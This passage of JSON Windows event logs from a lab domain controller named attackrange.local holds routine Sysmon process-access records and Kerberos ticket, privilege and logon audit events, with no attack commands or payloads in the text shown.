Time":"2020-08-07 11:59:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6202,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:38.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:38.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6203,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:38.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:38.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6204,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:38.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:38.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6205,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:38.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:38.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6206,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:38.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:38.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6207,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:38.963\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-422A-5F2D-0000-00101E1D0900}\r\nTargetProcessId: 4604\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:38.963","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-422A-5F2D-0000-00101E1D0900}","TargetProcessId":"4604","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6208,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:38.994\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD1-5F2D-0000-0010EB030000}\r\nTargetProcessId: 4\r\nTargetImage: System\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\kerberos.DLL+96ea2|C:\\Windows\\system32\\kerberos.DLL+79354|C:\\Windows\\system32\\kerberos.DLL+13948|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+2c2c4|C:\\Windows\\system32\\lsasrv.dll+31819|C:\\Windows\\system32\\lsasrv.dll+2f177|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+16cdd|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1a96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:38.994","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD1-5F2D-0000-0010EB030000}","TargetProcessId":"4","TargetImage":"System","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\kerberos.DLL+96ea2|C:\\Windows\\system32\\kerberos.DLL+79354|C:\\Windows\\system32\\kerberos.DLL+13948|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+2c2c4|C:\\Windows\\system32\\lsasrv.dll+31819|C:\\Windows\\system32\\lsasrv.dll+2f177|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+16cdd|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1a96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","EventReceivedTime":"2020-08-07 11:59:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":222244,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tWIN-DC-9849183$@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{F8E328F4-BC8F-C592-6DDE-C0BFC1B5D572}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"WIN-DC-9849183$@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{F8E328F4-BC8F-C592-6DDE-C0BFC1B5D572}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:59:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222245,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x91EC4\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x91ec4","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:59:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222246,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity 